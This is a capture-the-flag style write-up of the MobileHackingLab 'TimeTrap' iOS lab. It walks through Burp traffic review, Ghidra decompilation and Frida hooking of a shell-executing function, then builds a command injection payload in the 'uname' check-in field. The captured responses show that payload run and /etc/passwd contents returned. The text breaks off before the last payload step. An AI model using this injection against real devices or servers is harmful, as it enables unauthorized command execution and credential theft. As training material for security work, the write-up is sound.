Introduction
TimeTrap is a iOS lab from MobileHackingLab where you analyze an internal application to gain unauthorized access and command injection on a victim’s mobile device.
Methodology
- Explore the application
- Review communication
- Review source code
- Dynamic analysis
- Create exploit
- Exploitation
- Final thoughts
Explore the application
Login

There is no register screen in the application. You can log in using existing credentials. I took a wild guess and used test / test
and it worked, but according to the lab hints section you can also try to guess the password of emp002
, apparently they are using a weak password.
Home



The home screen consists of a button and a list containing check-in/check-out information.
When you tap the Check In
a timer starts and updates the screen with a check-in event.
When you tap the Check Out
button, the counter stops and updates the screen with a check-out event.
The information on the screen includes a check-in date, check-out date, and a device identifier.
Profile

The profile screen is very basic. It shows the currently logged-in user and also has a button to log out.
Review communication
We will be using Burp Suite to monitor the traffic between the application and the backend.
Login call
Request
POST /time-trap/login HTTP/2
Host: mhl.pages.dev
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1335.0.3.4 Darwin/21.6.0
Content-Length: 37
Accept-Language: en-US,en;q=0.9
{"username":"test","password":"test"}
Response
HTTP/2 200 OK
Date: Tue, 22 Jul 2025 13:40:22 GMT
Content-Type: text/plain;charset=UTF-8
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kU%2FcYbvtkjRZPHx8tHkQhdNs%2BurVI8dlrSChI333uBb%2FM7ZrOxmcl0Z7f3PWPQ9dTUFzUJHZH%2Fn1kUXNWsHIF3axFQBKpocwPC96h0I%2FFsm%2BrWb8GmCOHwMMF5501KPh"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
Cf-Ray: 96335974df3d0b5e-AMS
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=7687&min_rtt=6967&rtt_var=3284&sent=6&recv=13&lost=0&retrans=0&sent_bytes=781&recv_bytes=1404&delivery_rate=164097&cwnd=252&unsent_bytes=0&cid=84b5ab0cc6aa5726&ts=969&x=0"
{"user":"test","token":"<YOUR_TOKEN>"}
Nothing out of the ordinary here. You send a username and password and receive an auth token in return.
Attendance list call
Request
GET /time-trap/attendance-list HTTP/2
Host: mhl.pages.dev
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1335.0.3.4 Darwin/21.6.0
Accept-Language: en-US,en;q=0.9
Authorization: Bearer <YOUR_TOKEN>
Response
HTTP/2 200 OK
Date: Tue, 22 Jul 2025 13:40:27 GMT
Content-Type: text/plain;charset=UTF-8
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2BJQq%2BeRyFjQnHLDsVaZMvH5aWMonkAqZ1M%2FlJgkrlvUG7Hza7B1%2Fyypa1Q0b16lk0c9nxdoif9tnKiXM9j%2FaBlTWC31SuVw3KQrEitQMh0yB%2BSKc9KrhVbrfB8H3eAP"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
Cf-Ray: 96335992acd70b5e-AMS
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=7728&min_rtt=6967&rtt_var=2545&sent=10&recv=15&lost=0&retrans=0&sent_bytes=1570&recv_bytes=1589&delivery_rate=542051&cwnd=255&unsent_bytes=0&cid=84b5ab0cc6aa5726&ts=5605&x=0"
[{"id":482,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 13:01:08","check_out":null},{"id":481,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 13:00:58","check_out":"2025-07-22 13:01:00"},{"id":480,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 13:00:55","check_out":"2025-07-22 13:00:56"},{"id":479,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 13:00:52","check_out":"2025-07-22 13:00:54"},{"id":478,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:54:23","check_out":"2025-07-22 13:00:44"},{"id":477,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi # ","check_in":"2025-07-21 20:53:33","check_out":"2025-07-21 20:53:55"},{"id":476,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:53:02","check_out":"2025-07-21 20:53:13"},{"id":475,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi # ","check_in":"2025-07-21 20:52:18","check_out":"2025-07-21 20:52:42"},{"id":474,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:49:33","check_out":"2025-07-21 20:52:01"},{"id":473,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:49:25","check_out":"2025-07-21 20:49:29"},{"id":472,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:49:14","check_out":"2025-07-21 20:49:18"},{"id":471,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:49:02","check_out":"2025-07-21 20:49:05"},{"id":470,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:48:24","check_out":"2025-07-21 20:48:46"},{"id":469,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:47:31","check_out":"2025-07-21 20:48:04"},{"id":468,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:47:05","check_out":"2025-07-21 20:47:16"},{"id":467,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:46:16","check_out":"2025-07-21 20:46:34"},{"id":466,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:45:46","check_out":"2025-07-21 20:45:50"},{"id":465,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:44:55","check_out":"2025-07-21 20:45:42"},{"id":464,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi # ","check_in":"2025-07-21 20:39:41","check_out":"2025-07-21 20:39:56"},{"id":463,"user_id":2,"uname":"##\n# User Database\n#\n# This file is the authoritative user database.\n##\nnobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false\nroot:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh\nmobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh\ndaemon:*:1:1:System Services:/var/root:/usr/bin/false\n_ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false\n_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false\n_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false\n_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false\n_neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false\n_ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false\n_securityd:*:64:64:securityd:/var/empty:/usr/bin/false\n_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false\n_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false\n_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false\n_usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false\n_distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false\n_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false\n_ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false\n_findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false\n_datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false\n_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false\n_analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false\n_timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false\n_gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false\n_reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false\n_driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false\n_diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false\n_logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false\n_iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false\n_rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false\n_accessoryupdater:*:278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false\n_knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false\n_coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false\n_sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false\n_trustd:*:282:282:trustd:/var/empty:/usr/bin/false\n_mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false\n_darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false\n_notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false\n","check_in":"2025-07-21 20:37:42","check_out":"2025-07-21 20:38:01"},{"id":462,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi # ","check_in":"2025-07-21 20:37:25","check_out":"2025-07-21 20:37:34"},{"id":461,"user_id":2,"uname":"##\n# User Database\n#\n# This file is the authoritative user database.\n##\nnobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false\nroot:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh\nmobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh\ndaemon:*:1:1:System Services:/var/root:/usr/bin/false\n_ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false\n_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false\n_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false\n_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false\n_neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false\n_ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false\n_securityd:*:64:64:securityd:/var/empty:/usr/bin/false\n_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false\n_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false\n_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false\n_usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false\n_distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false\n_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false\n_ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false\n_findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false\n_datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false\n_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false\n_analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false\n_timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false\n_gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false\n_reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false\n_driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false\n_diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false\n_logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false\n_iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false\n_rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false\n_accessoryupdater:*:278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false\n_knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false\n_coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false\n_sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false\n_trustd:*:282:282:trustd:/var/empty:/usr/bin/false\n_mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false\n_darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false\n_notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false\n","check_in":"2025-07-21 20:34:34","check_out":"2025-07-21 20:34:48"},{"id":460,"user_id":2,"uname":"\" ]] || [ 1 -eq 1 ]; then cat /etc/passwd; fi # ","check_in":"2025-07-21 20:34:12","check_out":"2025-07-21 20:34:28"},{"id":459,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:33:52","check_out":"2025-07-21 20:33:57"},{"id":458,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-21 20:33:07","check_out":"2025-07-21 20:33:46"}]
This call returns a list of check-in and check-out events. The information in this list is what populates the events on the Home screen.
Attendance call
Check in request
POST /time-trap/attendance HTTP/2
Host: mhl.pages.dev
Accept: */*
Content-Type: application/x-www-form-urlencoded
Authorization: Bearer <YOUR_TOKEN>
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1335.0.3.4 Darwin/21.6.0
Accept-Language: en-US,en;q=0.9
Content-Length: 177
{"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8\/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n"}
Check in response
HTTP/2 200 OK
Date: Tue, 22 Jul 2025 13:42:37 GMT
Content-Type: text/plain;charset=UTF-8
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9g5V8oGq2pmJvx00R1l0i4Uo8LXFBHhmgTCGV7WraDO47P%2BhuBVRcTKG%2FcbJ%2F8Q9R188BB6DyB2vf9K9V3W1hSfORGQfbabluxSJOjDRv%2Fg57R95FyVf93TRw0pNESRC"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
Cf-Ray: 96335cbb9e63fff2-AMS
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=7449&min_rtt=6889&rtt_var=1794&sent=14&recv=16&lost=0&retrans=0&sent_bytes=2949&recv_bytes=1747&delivery_rate=870087&cwnd=257&unsent_bytes=0&cid=dae6c19bf2650e57&ts=1664&x=0"
{"id":482,"user_id":2,"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n","check_in":"2025-07-22 13:01:08","check_out":null,"flag":"You are in the right direction. Keep going!"}
The check-in call sends the current device identifier. From looking at the request variable name it seems to be the uname
Unix command being run. We will verify this later when we investigate the source code.
One interesting thing to note is in the response. There is a flag variable being returned with a hint: "flag":"You are in the right direction. Keep going!"
Check out request
POST /time-trap/attendance HTTP/2
Host: mhl.pages.dev
Accept: */*
Content-Type: application/x-www-form-urlencoded
Authorization: Bearer <YOUR_TOKEN>
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1335.0.3.4 Darwin/21.6.0
Accept-Language: en-US,en;q=0.9
Content-Length: 177
{"uname":"Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8\/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin\n"}
Check out response
HTTP/2 500 Internal Server Error
Date: Tue, 22 Jul 2025 13:43:09 GMT
Content-Type: text/plain;charset=UTF-8
Content-Length: 27
Cf-Ray: 96335d869e2efffa-AMS
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SU%2BHYRF1WOGtWPbREdt%2FE%2FoxijLRYIDQBMiBIqYYlgg4d5CF%2B24GPpXxdbz%2BiZHbKQ3%2F5y6FHxivtVWiZRpCKkh8wpai31YCv4ubBgMt6e9RFWu8eL85LMwFJkD8SYN6"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=8740&min_rtt=6582&rtt_var=4283&sent=10&recv=16&lost=0&retrans=0&sent_bytes=2952&recv_bytes=1747&delivery_rate=394792&cwnd=256&unsent_bytes=0&cid=783ce14b6cec86b7&ts=1068&x=0"
Failed to insert attendance
The check out call fails for some reason. We will investigate the impact of this a bit later.
Logout call
Request
POST /time-trap/logout HTTP/2
Host: mhl.pages.dev
Accept: */*
Authorization: Bearer <YOUR_TOKEN>
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1335.0.3.4 Darwin/21.6.0
Content-Length: 0
Accept-Language: en-US,en;q=0.9
Response
HTTP/2 200 OK
Date: Tue, 22 Jul 2025 14:03:58 GMT
Content-Type: text/plain;charset=UTF-8
Content-Length: 23
Cf-Ray: 96337c09db5a2956-AMS
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PxZ%2BrEkfkcfsRGrleIKWwKr8H2hbZfqO1Jf45VLXT1pmr9DNp%2B5RgjPBzVIglXeFS6V%2F%2Bt%2FnYgtAvZ%2FuE8Kqe8b3ApGVebWrNju4cT0GNB%2BU8aUnSkIgHIqKS50pccVX"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=7268&min_rtt=4736&rtt_var=2968&sent=9&recv=13&lost=0&retrans=0&sent_bytes=1445&recv_bytes=1427&delivery_rate=761704&cwnd=183&unsent_bytes=0&cid=c7fd129870dced5f&ts=1483&x=0"
Logged out successfully
Nothing out of the ordinary here. The system says you are logged out. We can verify this by replaying one of our previous API calls.
Retry attendance list request
GET /time-trap/attendance-list HTTP/2
Host: mhl.pages.dev
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Time%20Trap/1 CFNetwork/1335.0.3.4 Darwin/21.6.0
Accept-Language: en-US,en;q=0.9
Authorization: Bearer <YOUR_TOKEN>
Retry attendance list response
HTTP/2 500 Internal Server Error
Date: Tue, 22 Jul 2025 14:05:55 GMT
Content-Type: text/plain;charset=UTF-8
Content-Length: 56
Cf-Ray: 96337ee2d8abd596-AMS
Access-Control-Allow-Origin: *
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NXYuzaBcKd2vdWrLLBmECjHGrlQFgoNQuqxcn55DKwWxTgw%2BNFojtqqI%2B%2Bw3HJdTb57UDr4kE%2FVsn1gCODPRVgdztzwnbP%2BqZVYrpeFWP6%2BOjuekgXn91qqZL6F3Yt%2BW"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=6413&min_rtt=5694&rtt_var=2020&sent=9&recv=13&lost=0&retrans=0&sent_bytes=1487&recv_bytes=1420&delivery_rate=526226&cwnd=90&unsent_bytes=0&cid=8d7a7e4ca52c72f9&ts=10213&x=0"
TypeError: Cannot read properties of null (reading 'id')
We get a server error. While this might not be ideal, at least we were not able to reuse a logged-out token, which is good.
Review source code
We will be using Ghidra to decompile the application and review the decompiled source code.
After opening the binary in Ghidra and letting it perform analysis we will navigate to the Symbol Tree.
In the Symbol Tree you will see a lot of different sections. Navigate to the Classes
section and then to the AttendanceController

There is an interesting function called buttonPressed
, select it, and let’s look at the source.

When you scroll down you will encounter code that uses the uname
command we identified earlier in the API calls:
SVar16 = Swift::String::init("if [[ $(uname -a) != \"",0x16,1);
Then there is a bunch of decompiled code, and eventually you will see:
SVar16 = Swift::String::init("\" ]]; then uname -a; fi",0x17,1);
Which looks like it is closing the first if statement in the first command snippet.
In between there is a lot of string manipulation which seems to be injecting a value inside the ""
of the if statement.
Finally if you scroll down more you will notice:
_executeCommand(local_170);
This looks interesting; let’s click into the function and check it out:
void _executeCommand(undefined8 param_1)
{
int iVar1;
pid_t pVar2;
cfstringStruct *pcVar3;
ssize_t sVar4;
cfstringStruct *pcVar5;
posix_spawn_file_actions_t pvStack_1070;
cfstringStruct *local_1068;
uint local_1060;
pid_t local_105c;
undefined8 local_1058;
undefined1 auStack_1050 [4096];
int local_50;
int local_4c;
char *local_48;
char *local_40;
undefined8 local_38;
undefined8 local_30;
long local_28;
(*(code *)PTR____chkstk_darwin_100028208)();
local_28 = *(long *)PTR____stack_chk_guard_100028250;
local_48 = "sh";
local_40 = "-c";
local_30 = 0;
pcVar3 = &cf_"";
local_1058 = param_1;
local_38 = param_1;
_objc_retain();
local_1068 = pcVar3;
_pipe((int)&stack0xfffffffffffffff0 + -0x40);
_posix_spawn_file_actions_init(&pvStack_1070);
_posix_spawn_file_actions_addclose(&pvStack_1070,local_50);
_posix_spawn_file_actions_adddup2(&pvStack_1070,local_4c,1);
_posix_spawn_file_actions_addclose(&pvStack_1070,local_4c);
iVar1 = _posix_spawn(&local_105c,"/bin/sh",&pvStack_1070,(posix_spawnattr_t *)0x0,&local_48,
(char **)0x0);
if (iVar1 == 0) {
_close(local_4c);
while (sVar4 = _read(local_50,auStack_1050,0x1000), 0 < sVar4) {
pcVar5 = (cfstringStruct *)&_OBJC_CLASS_$_NSString;
_objc_alloc();
_objc_msgSend$initWithBytes:length:encoding:(pcVar5);
pcVar3 = local_1068;
local_1068 = pcVar5;
_objc_release(pcVar3);
_NSLog(&cf_Output:%@);
}
_close(local_50);
pVar2 = _waitpid(local_105c,(int *)&local_1060,0);
if (pVar2 == -1) {
_perror("waitpid");
}
else if ((local_1060 & 0x7f) == 0) {
_NSLog(&cf_Commandexitedwithstatus%d);
}
else {
_NSLog(&cf_Commandexitedabnormally);
}
}
else {
_perror("posix_spawn");
}
_posix_spawn_file_actions_destroy(&pvStack_1070);
pcVar3 = local_1068;
_objc_retain();
_objc_storeStrong(&local_1068,0);
if (*(long *)PTR____stack_chk_guard_100028250 == local_28) {
_objc_autoreleaseReturnValue(pcVar3);
return;
}
/* WARNING: Subroutine does not return */
___stack_chk_fail();
}
By analyzing this function, we can see that it executes a shell command.
This makes perfect sense since the previous source we went through builds up a shell command to execute.
The next step will be to hook this function so that we see how it behaves when we use the app.
Dynamic analysis
We will be using Frida to hook the _executeCommand
function.
Often times Swift code can be mangled, and Ghidra demangles it. To make sure we hook the correct function we can print out the exported functions using Frida and check if it contains the _executeCommand
function.
frida -U -f "com.mobilehackinglab.TimeTrap3"
____
/ _ | Frida 16.7.13 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to iPhone (id=0d102d14e62e58c311b7f9617e6e08671feaeef1)
Spawned `com.mobilehackinglab.TimeTrap3`. Resuming main thread!
[iPhone::com.mobilehackinglab.TimeTrap3 ]->
[iPhone::com.mobilehackinglab.TimeTrap3 ]-> Module.enumerateExports("Time Trap").filter(s => s.name.includes("execute"))
[
{
"address": "0x1025b4000",
"name": "_mh_execute_header",
"type": "variable"
},
{
"address": "0x1025b8000",
"name": "executeCommand",
"type": "function"
}
]
[iPhone::com.mobilehackinglab.TimeTrap3 ]->
In this case the command is not mangled, and we can just use executeCommand
.
The hooking snippet will be as follows:
var executeCommandMethod = Module.findExportByName(null, "executeCommand");
if (executeCommandMethod) {
Interceptor.attach(executeCommandMethod, {
onEnter: function (args) {
const a = new NativePointer(args[0]);
console.log("Hooked Swift method: executeCommand!");
console.log(a.readCString());
},
onLeave: function (retval) {
// We don't need this
},
});
} else {
console.log("Failed to hook Swift method: executeCommand!");
}
Now go back to the app, log in, and tap the Check in
button and observe:
[iPhone::com.mobilehackinglab.TimeTrap3 ]-> Hooked Swift method: executeCommand!
uname -a
[iPhone::com.mobilehackinglab.TimeTrap3 ]->
Then tap the Check Out
button and observe:
[iPhone::com.mobilehackinglab.TimeTrap3 ]-> Hooked Swift method: executeCommand!
if [[ $(uname -a) != "Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin
" ]]; then uname -a; fi
[iPhone::com.mobilehackinglab.TimeTrap3 ]->
In the next section we will explore the complete flow and determine how we can exploit it.
Create exploit
We saw that when someone checks out the following code is run:
if [[ $(uname -a) != "Darwin Time-Trap-Device 21.6.0 Darwin Kernel Version 21.6.0: Sun Oct 15 00:18:06 PDT 2023; root:xnu-8020.241.42~8/RELEASE_ARM64_T8010 iPhone9,2 arm64 D11AP Darwin
" ]]; then uname -a; fi
If we remove the device identifier information that we send to the server when checking in:
if [[ $(uname -a) != "" ]]; then uname -a; fi
We need to inject our code between the ""
quotes.
Let’s start by adding a comment so that we can discard the old command:
if [[ $(uname -a) != " #" ]]; then uname -a; fi
On its own this will do nothing. Let’s break out of the string so that the comment is interpreted:
if [[ $(uname -a) != "" #" ]]; then uname -a; fi
As you can see, the rest of the command is now commented out, but as it currently stands, this command is broken and will not execute.
We need to fix the original if statement by closing the brackets:
if [[ $(uname -a) != "" ]]; #" ]]; then uname -a; fi
And also adding our own command to execute:
if [[ $(uname -a) != "" ]]; then cat /etc/passwd; #" ]]; then uname -a; fi
And then closing the if statement:
if [[ $(uname -a) != "" ]]; then cat /etc/passwd; fi #" ]]; then uname -a; fi
The final step is to add an OR statement that will cause the if statement to always return true and always execute our code:
